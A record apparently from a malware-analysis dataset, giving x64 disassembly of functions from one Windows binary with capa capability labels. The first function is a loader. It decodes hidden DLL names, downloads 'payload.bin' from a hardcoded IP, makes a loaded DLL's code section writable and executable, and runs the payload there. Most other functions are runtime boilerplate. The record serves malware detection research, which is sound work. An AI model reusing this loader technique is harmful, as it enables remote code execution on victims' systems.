joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002240
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x88
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rcx, qword [rdx]
call fcn.1400011a0
cmp eax, 0x1c
ja 0x14000245e
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x80], rdi
lea rdi, [rsp + 0x68]
mov byte [rsp + 0x68], 0x6c
mov byte [rsp + 0x69], 0x6c
mov byte [rsp + 0x6a], 0x64
mov byte [rsp + 0x6b], 0x2e
mov byte [rsp + 0x6c], 0x70
mov byte [rsp + 0x6d], 0x74
mov byte [rsp + 0x6e], 0x74
mov byte [rsp + 0x6f], 0x68
mov byte [rsp + 0x70], 0x6e
mov byte [rsp + 0x71], 0x69
mov byte [rsp + 0x72], 0x57
mov byte [rsp + 0x73], 0
repne scasb al, byte [rdi]
not rcx
dec rcx
mov eax, ecx
movsxd rdi, ecx
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x1400022f8
lea rdx, [rsp + 0x68]
lea rdi, [rsp + rdi + 0x67]
mov r8d, eax
movzx eax, byte [rdi]
movzx ecx, byte [rdx]
dec rdi
mov byte [rdx], al
mov byte [rdi + 1], cl
inc rdx
sub r8, 1
jne 0x1400022e1
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r9, str.payload.bin
lea rdx, str.27.124.44.10
lea rcx, [rsp + 0x48]
mov r8d, 0x118
mov qword [rsp + 0x20], rax
call fcn.140001320
lea rdx, [rsp + 0x38]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov rsi, qword [rsp + 0x38]
test rsi, rsi
je 0x14000244e
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x58]
mov byte [rsp + 0x58], 0x6c
mov byte [rsp + 0x59], 0x6c
mov byte [rsp + 0x5a], 0x64
mov byte [rsp + 0x5b], 0x2e
mov byte [rsp + 0x5c], 0x70
mov byte [rsp + 0x5d], 0x6c
mov byte [rsp + 0x5e], 0x65
mov byte [rsp + 0x5f], 0x68
mov byte [rsp + 0x60], 0x67
mov byte [rsp + 0x61], 0x62
mov byte [rsp + 0x62], 0x64
mov byte [rsp + 0x63], 0
repne scasb al, byte [rdi]
not rcx
dec rcx
mov eax, ecx
movsxd rdi, ecx
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x1400023c8
lea rdx, [rsp + 0x58]
lea rdi, [rsp + rdi + 0x57]
mov r8d, eax
movzx eax, byte [rdi]
movzx ecx, byte [rdx]
dec rdi
mov byte [rdx], al
mov byte [rdi + 1], cl
inc rdx
sub r8, 1
jne 0x1400023b1
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000242b
mov rdi, qword [rsp + 0x40]
mov qword [rsp + 0x90], rbx
lea rbx, [rax + 0x1000]
lea r9, [rsp + 0x30]
mov rcx, rbx
mov r8d, 0x40
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140003c40
mov rcx, rsi
call fcn.140002e80
mov rcx, rbx
call fcn.140003638
mov rbx, qword [rsp + 0x90]
jmp 0x14000244e
mov rdx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1000
call fcn.140003638
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0xa0]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002e60
add rsp, 0x88
ret
Function at 0x1400038a3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000f040]
jne 0x140002e7a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002e76
repz ret
ror rcx, 0x10
jmp 0x1400037fc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140010280]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140010378]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140003881
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140010280]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400038a3
mov rax, qword [rsp + 0x88]
mov qword [0x140010378], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140010318], rax
mov rax, qword [0x140010378]
mov qword [0x1400101f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140010300], rax
mov dword [0x1400101e0], 0xc0000409
mov dword [0x1400101e4], 1
mov rax, qword [0x14000f040]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000f048]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140010278], eax
mov ecx, 1
call fcn.140004180
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000b2c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140010278], 0
jne 0x14000392a
mov ecx, 1
call fcn.140004180
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000482c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140005c9c
nop
cmp dword [0x1400107c0], 1
je 0x1400047d8
mov dword [0x1400107bc], 1
mov byte [0x1400107b8], r12b
test ebx, ebx
jne 0x1400047c4
mov rcx, qword [0x140011290]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400047b1
mov rcx, qword [0x140011288]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140004750
call fcn.140004190
cmp qword [rdi], rax
jne 0x140004750
jmp 0x140004736
cmp rdi, rsi
jb 0x1400047b1
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140004190
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140011290]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140011288]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000478f
cmp r13, rax
je 0x1400047af
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140004736
lea rdx, [0x14000b238]
lea rcx, [0x14000b230]
call fcn.140004580
lea rdx, [0x14000b248]
lea rcx, [0x14000b240]
call fcn.140004580
nop
test r12d, r12d
je 0x1400047e7
mov ecx, 8
call fcn.140005b9c
test r12d, r12d
jne 0x140004812
mov dword [0x1400107c0], 1
lea ecx, [r12 + 8]
call fcn.140005b9c
mov ecx, r15d
call fcn.140004514
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400046a0

Function at 0x140004838
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400046a0
Function at 0x140006e38
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140004190
xor ebx, ebx
mov rdi, rax
cmp qword [0x140010f30], rbx
jne 0x140006f3e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140007013
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007013
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140010f30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140010f38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140010f40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140010f50], rax
test rax, rax
je 0x140006f35
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140010f48], rax
jmp 0x140006f45
mov rax, qword [0x140010f48]
jmp 0x140006f4c
mov rax, qword [0x140010f48]
mov r11, qword [0x140010f50]
cmp rax, rdi
je 0x140006fb4
cmp r11, rdi
je 0x140006fb4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140010f50]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140006fb4
test rax, rax
je 0x140006fb4
call rsi
test rax, rax
je 0x140006fae
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006fae
test byte [rsp + 0x38], 1
jne 0x140006fb4
bts ebp, 0x15
jmp 0x140006ff2
mov rcx, qword [0x140010f38]
cmp rcx, rdi
je 0x140006ff2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140006ff2
call rax
mov rbx, rax
test rax, rax
je 0x140006ff2
mov rcx, qword [0x140010f40]
cmp rcx, rdi
je 0x140006ff2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140006ff2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140010f30]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140007013
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140007015
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140081964
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400cee10
mov rax, rcx
neg rcx
test rax, 7
je 0x1400cee2d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400cee88
test al, 7
jne 0x1400cee20
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1400cee41
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400ceeb2
test dh, dh
je 0x1400ceeac
shr rdx, 0x10
test dl, dl
je 0x1400ceea6
test dh, dh
je 0x1400ceea0
shr rdx, 0x10
test dl, dl
je 0x1400cee9a
test dh, dh
je 0x1400cee94
shr edx, 0x10
test dl, dl
je 0x1400cee8e
test dh, dh
jne 0x1400cee41
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140081ced
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400a7d50
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400a76d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a7d8f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401dd020]
jmp 0x1400a7d99
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140081e7d
Capabilities:
Query environment variable

Disassembly:
jmp 0x140149d40
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140149b70
lea rcx, [rsp + 0x40]
call fcn.140149cf0
movzx eax, al
test eax, eax
jne 0x140149d88
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140149ba0
mov rax, qword [rsp + 0x70]
jmp 0x140149f59
lea rcx, [rsp + 0x40]
call fcn.140149cc0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140149c60
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140149cc0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.140082a4e
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140149e2e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140149ba0
mov rax, qword [rsp + 0x80]
jmp 0x140149f59
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140081bd5
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140081a90
lea rcx, [rsp + 0x48]
call fcn.1400816cb
movzx eax, al
test eax, eax
jne 0x140149e95
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14008088e
lea rcx, [rsp + 0x40]
call fcn.140149ba0
mov rax, qword [rsp + 0x88]
jmp 0x140149f59
lea rcx, [rsp + 0x48]
call fcn.1400821c0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140149cc0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.140082a4e
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140149f2b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14008088e
lea rcx, [rsp + 0x40]
call fcn.140149ba0
mov rax, qword [rsp + 0xa0]
jmp 0x140149f59
lea rcx, [rsp + 0x48]
call fcn.140081a6d
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14008088e
lea rcx, [rsp + 0x40]
call fcn.140149ba0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140081e8c
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400a7c80
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1400a7650
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a7cc1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401dd020]
jmp 0x1400a7cc7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140081f18
Capabilities:
Get geographical location

Disassembly:
jmp 0x14014db50
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14014ca80
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14014dbb7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1401dd030]
jmp 0x14014dbd9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14008166c
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140081f27
Capabilities:
Terminate process

Disassembly:
jmp 0x14008fa10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140082170
Capabilities:
Print debug messages

Disassembly:
jmp 0x14016e400
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1401c7e38]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14016e426
jmp 0x14016e4a3
mov rcx, qword [rbp + 0x30]
call fcn.140081964
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14016e43f
jmp 0x14016e4a3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14016e45c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400809e7
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140080e7e
test eax, eax
jne 0x14016e4a3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140081b4e
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x14008269d
Capabilities:
Parse pe header

Disassembly:
jmp 0x14008e8c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14008e8e0
xor al, al
jmp 0x14008e961
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14008e8f3
xor al, al
jmp 0x14008e961
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14008e91d
xor al, al
jmp 0x14008e961
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14008e931
xor al, al
jmp 0x14008e961
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14008e943
xor al, al
jmp 0x14008e961
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14008e95f
xor al, al
jmp 0x14008e961
mov al, 1
add rsp, 0x38
ret
Function at 0x140082850
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x140181aa0
jmp 0x140181ac0
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r12, rax
test rax, rax
je 0x140181c38
mov ecx, dword [rsp + 0x60]
inc ecx
movsxd rbx, ecx
shl rbx, 3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x140181c38
xor edi, edi
mov r14d, edi
cmp dword [rsp + 0x60], edi
jle 0x140181bcf
sub rax, r12
mov rsi, r12
mov qword [rsp + 0x68], rax
nop
mov rcx, qword [rsi]
call fcn.14008263e
mov r8, qword [rsi]
lea rdx, str.UTF_16LE
lea rcx, str.UTF_8
lea r9, [rax*2 + 2]
call fcn.140083610
mov rbp, rax
test rax, rax
je 0x140181c38
mov rcx, rax
call fcn.14008249f
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [r13 + 1]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x68]
mov qword [rcx + rsi], rax
test rax, rax
je 0x140181c38
mov r8d, r13d
mov rdx, rbp
mov rcx, rax
call fcn.140081f36
mov rcx, rbp
call fcn.14008022b
inc r14d
add rsi, 8
cmp r14d, dword [rsp + 0x60]
jl 0x140181b40
movsxd rax, r14d
mov rcx, r12
mov qword [r15 + rax*8], rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.140081077
mov ecx, dword [rsp + 0x60]
mov rdx, r15
call fcn.1400826de
mov esi, eax
cmp dword [rsp + 0x60], edi
jle 0x140181c20
mov rbx, r15
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbx]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
inc edi
lea rbx, [rbx + 8]
cmp edi, dword [rsp + 0x60]
jl 0x140181c00
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x140181c54
xor r9d, r9d
lea r8, str.Out_of_memory___aborting
lea rdx, str.Fatal_Error
lea ecx, [r9 + 0x10]
call fcn.1400816f8
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140082c10
Capabilities:
Terminate process

Disassembly:
jmp 0x1401382b0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1401382de
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140083458
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400834c6
Capabilities:
Print debug messages

Disassembly:
jmp 0x140152da0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140083593
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400a7dc0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400a7710
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a7e09
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401dd020]
jmp 0x1400a7e18
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret
Function at 0x1401771c0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400809e7
sub rsp, rax
mov rax, qword [0x1401c7e38]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1401cc140]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1401773b2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140177306
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140177306
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1401772eb
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140177288
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140177372
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401773d1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1401773ad
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1401773d1
jmp 0x14017725e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140081b4e
add rsp, 0x1498
pop rdi
pop rsi
ret